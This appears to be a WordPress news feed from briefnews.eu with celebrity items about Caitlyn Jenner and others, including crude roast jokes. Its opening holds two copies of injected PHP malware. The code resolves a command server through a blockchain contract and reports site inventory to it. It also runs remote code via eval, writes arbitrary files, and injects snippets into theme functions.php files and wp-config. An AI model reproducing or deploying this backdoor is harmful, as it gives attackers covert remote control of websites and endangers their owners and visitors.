// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); 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if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Jenner – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 16 Sep 2019 09:08:12 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Jenner – Brief News https://briefnews.eu 32 32 Alec Baldwin Roast: The 27 Darkest Jokes (Mostly About Caitlyn Jenner) https://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/ https://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/#respond Mon, 16 Sep 2019 09:08:12 +0000 http://briefnews.eu/alec-baldwin-roast-the-27-darkest-jokes-mostly-about-caitlyn-jenner/

The best way to sum up Sunday’s Comedy Central Roast of Alec Baldwin is with these words from his Baldwin’s daughter Ireland: “I actually have a lot in common with the people on this roast because, like them, I don’t really know you that well.”

Seriously, we’re used to seeing a few puzzling faces on these specials — is anyone actually friends with Jeff Ross, for example? — but Baldwin’s dais was truly a mixed bag of nuts, including everyone from A-listers like Robert De Niro to E!-listers like Caitlyn Jenner. And they all gave it to him good.

Below, we round up some the most outrageous digs from Comedy Central’s two-hour “tribute” to the man formerly known as Jack Donaghy:

* Roastmaster Sean Hayes (no, seriously!) established an appropriately high-brow tone with a series of, well, dick, jokes: “No offense, Blake [Griffin], but I’m a better ball handler than you. And Caitlyn Jenner is here. I can’t believe you’re here. Wow. You’ve got balls, girl. Caitlyn, being here tonight is braver than anything you’ve ever done. But don’t worry, any parts you don’t like can be cut.”

* Sean Hayes then referenced the roast’s noticeable lack of 30 Rock actors, joking that he wasn’t Comedy Central’s original choice to host: “Even Tracy Morgan said, I’d rather go shopping at Walmart with the Walmart driver who hit me.” (Yikes.)

* Nikki Glaser also took some shots at Caitlyn Jenner after reminding the crowd of her past as an Olympian. “People forget how fast you ran… from your first family to film a reality show.” She then questioned by Jenner insists on being a Republican, asking, “What does that party have to do to lose your support — be your son?”

* Then she got really dark, telling Robert De Niro, “I can’t believe I get to share this stage with you. And by this stage, I mean the final stage of your life.”

* And there were plenty of jokes made about the infamous voicemail Alec Baldwin left for Ireland — you know, the one where he called her a “rude, thoughtless little pig” when she was only 11 years old. “Don’t worry, nothing said tonight will be more offensive than what you left on your daughter’s voicemail,” Sean Hayes said in his opening monologue. Ireland Baldwin later said she almost didn’t know this roast was happening, because she hasn’t checked her voicemail in 12 years. Watch footage of Ireland’s awkward set below:

* Saturday Night Live‘s Chris Redd used his time at the podium to genuinely take Caitlyn Jenner to task for her questionable politics: “You goddamn hypocrite. You’re against gay marriage, you voted for Trump — you’re like the Auntie Tom of the trans community. You did open the door for trans people, but then you ran in and slammed that s–t behind your flat ass.”

* For what it’s worth, Caitlyn Jenner attempted to make good by closing her set with this message: “I’m a person trying to figure out my life, just like everyone else. All I want is for future generations of transgender people to know that if I can find the courage to be who I am, you can too. If you have a problem with that, you can suck my d–k… if you can find it!” Watch part of her set below:

* The most uncomfortable set came courtesy of Adam Carolla, who delivered a rant about “social justice warriors”: “You people can blow me, you p–sy f–k sticks. This is a roast. Comedians need a place where they can be offensive without bulls–t fake outrage. You hashtag heroes, you already ruined the Oscars! You’re all woke and no joke. So, if you were offended by anything said tonight, please give a reach-around to your emotional support dog and shut the f–k up. This is our safe space, bitches.”

* And the most disturbing exchange occurred between Robert De Niro and Caitlyn Jenner. “There’s something different about you,” he said, “but I can’t quite put my finger in it.” Then came Jenner’s excited reply, “Yes, you can!”

Other notable one-liners…

* Sean Hayes to Alec Baldwin: “This will be the funniest thing you’ve ever been a part of that Tina Fey didn’t carry you through.”

* Nikki Glaser to Jeff Ross: “You look like if Popeye only ate Popeyes.”

* Blake Griffin to Sean Hayes: “I’m not going to stand here and run a bunch of hackneyed gay jokes into the ground. I’m not Will & Grace.”

* “Chris Redd looks like a police sketch of someone doing blackface.” — Blake Griffin

* Sean Hayes introducing Caroline Rhea: “Remember the hot aunt from Sabrina the Teenage Witch? Well, we got the other one.”

* “Sean Hayes is going to be difficult to top, but plenty of men have managed to do it.” — Caroline Rhea

* “Alec, where are your brothers tonight? God knows they’re not working!” — Caroline Rhea

* “Her daughter Kylie sold a billion dollars worth of makeup, and [Caitlyn’s] wearing all of it tonight.” — Sean Hayes

* “Alec’s wife is so young, he introduces them as ’23 and me.’” — Ken Jeong

* “It hasn’t been easy being the daughter of an iconic movie star… but I’m not here to talk about my mother… or her Oscar.” — Ireland Baldwin

* Ireland to Alec Baldwin: “Before I leave, I’d like to say something you never said to me, ‘Goodnight.’”

* “I thought Jimmy Kimmel was here tonight, but I was just smelling Adam Carolla’s finger.” — Triumph the Insult Comic Dog

* Sean Hayes introducing Robert De Niro: “He’s got two Oscars, and his balls are nominated for a SAG Award.”

* “What the f–k am I doing here?” — Robert De Niro

* Jeff Ross to Adam Carolla: “You have to own up to it. You said women aren’t funny. But they are. And you should have hired some of them to write your jokes tonight.”

* Jeff Ross to Caitlyn Jenner: “How can someone who chooses to be a woman vote against a woman’s right to choose?”

* Alec Baldwin to Blake Griffin: “You’re a remarkable man, Blake. I wish we were as close as your eyes are.”

* Alec Baldwin to Adam Carolla: “You may have a vineyard, but you do most of your white whining on your podcast.”

If you watched Baldwin’s roast, what were your favorite moments? And which roaster is your personal MVP? Cast your vote below, then drop a comment with your thoughts on the night.

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What/If’s Blake Jenner Breaks Down His Sexiest Scenes From the Netflix Thriller, Shares Hopes for Season 2 https://briefnews.eu/what-ifs-blake-jenner-breaks-down-his-sexiest-scenes-from-the-netflix-thriller-shares-hopes-for-season-2/ https://briefnews.eu/what-ifs-blake-jenner-breaks-down-his-sexiest-scenes-from-the-netflix-thriller-shares-hopes-for-season-2/#respond Sun, 30 Jun 2019 18:55:28 +0000 http://briefnews.eu/what-ifs-blake-jenner-breaks-down-his-sexiest-scenes-from-the-netflix-thriller-shares-hopes-for-season-2/

By the end of What/If‘s 10-episode first season, all of the characters have revealed at least one monumental secret about themselves. And some characters, like Blake Jenner‘s oft-unclothed Sean Donovan, have revealed a whole lot more.

“There’s a lot of ass acting on this show,” Jenner admits, referring to the fact that we get acquainted with Sean’s backside before we even really see his face. “I was like, ‘Guys, I know it doesn’t say it in the script, but I really feel like showing my ass here makes sense for my character.’ No, this is actually the first time I’ve done something like that. It was a nice departure, and it allowed me to be more vulnerable, more in the moment. It also gave me an excuse to use the stair master a lot.”

Of course, Sean’s most memorable clothing-optional moment comes during one of his wife’s particularly paranoid day dreams about a steamy encounter between Sean and Renee Zellweger’s character Anne Montgomery.

“I was such a huge fan of hers growing up, so it took me a minute to come to terms with the fact that I got to work alongside this amazing Oscar-winning actress,” Jenner says. “And then it was just like, ‘You ready? Pucker up!’ … No, she’s honestly so down to earth and cool. She inspires you to be a kinder human, always. And I love the way she dives into her role, it’s really inspiring. There have been a few times in my career that I’ve gotten to work with someone whose movies I grew up on, but this was the most surreal.”

Viewers are also treated to plenty of steamy marital moments between Sean and Lisa (played by Jane Levy). “Getting married on my first day of work was pretty wild,” Jenner admits. “Jane and I barely knew each other at point, so I just showed up and said my vows in front of a bunch of strangers. … Jane and I had dinner one night and we were like, ‘With this show, you have to love this couple, or else it won’t work.’ So doing that first was actually very enlightening, and it helped shape our bond.”

He also feels like series creator Mike Kelley ended the first season “on a very real note. It wasn’t tied with a bow. It leaves it up to the audience to think about what could be next.” Kelley recently told TVLine that his goal is to get the entire cast back in different roles for a second season of the anthology series, a prospect that excites Jenner to no end.

“If it works out for everyone, timing-wise, I’d love to know what else is cooking in Mike’s brain,” he says. “Knowing him, I think he’d do us all a solid and have us play completely different characters, which I’d be excited for. I want to be someone really f–d up and dark, even more so than Sean. … I’ve been boxing for years, so I’d like to play a down-and-out boxer. Or maybe a drummer. Like, a musician or a drug addict.”

What are your thoughts on What/If’s first season? Any fun ideas for Season 2? Whatever’s on your mind, drop it in a comment below.

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Kim Kardashian, Kylie, and Kendall Jenner all put their own spin on the ‘naked’ dress trend in the span of a week https://briefnews.eu/kim-kardashian-kylie-and-kendall-jenner-all-put-their-own-spin-on-the-naked-dress-trend-in-the-span-of-a-week/ https://briefnews.eu/kim-kardashian-kylie-and-kendall-jenner-all-put-their-own-spin-on-the-naked-dress-trend-in-the-span-of-a-week/#respond Wed, 19 Dec 2018 01:45:55 +0000 http://briefnews.eu/kim-kardashian-kylie-and-kendall-jenner-all-put-their-own-spin-on-the-naked-dress-trend-in-the-span-of-a-week/ kim kardashian naked dress trendStefanie Keenan/Getty Images

  • In the span of seven days, Kim Kardashian West, Kylie Jenner, and Kendall Jenner all rocked the “naked” dress trend, which swept Hollywood in 2018.
  • First, Kendall wore a sheer, long-sleeved dress to the British Fashion Awards on December 10.
  • Three days later, Kylie shared a photo of herself wearing a similar long-sleeved dress on Instagram.
  • And on Monday, Kardashian West posted a photo of herself draped in a see-through sparkly fabric on Instagram.

Kim Kardashian West just became the third Kardashian-Jenner sister to wear the “naked” dress trend in the past week.

On Monday, the beauty mogul posted a photo of herself draped in sheer, shimmering fabric on Instagram.

See the rest of the story at Business Insider

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Caitlyn Jenner Halloween costume slammed for 'mocking people born in wrong body' https://briefnews.eu/caitlyn-jenner-halloween-costume-slammed-for-mocking-people-born-in-wrong-body/ https://briefnews.eu/caitlyn-jenner-halloween-costume-slammed-for-mocking-people-born-in-wrong-body/#respond Tue, 23 Oct 2018 16:21:21 +0000 http://briefnews.eu/caitlyn-jenner-halloween-costume-slammed-for-mocking-people-born-in-wrong-body/

Transgender organizations have lashed out at Caitlyn Jenner-themed Halloween costume insisting it makes “insensitive mockery” of people who underwent sex reassignment.

Caitlyn Jenner, 68, formerly known as Bruce, rose to prominence in 1976 after taking gold in the men’s decathlon. In 2014, Jenner made the headlines after divorcing his wife Kris Jenner and coming out as transgender a year later.

READ MORE: ‘Not fair’: World cycling bronze medalist criticizes transgender athlete’s victory

The former Olympian underwent a full sex reassignment surgery January 2017 becoming one of the world’s most famous openly transgender women.

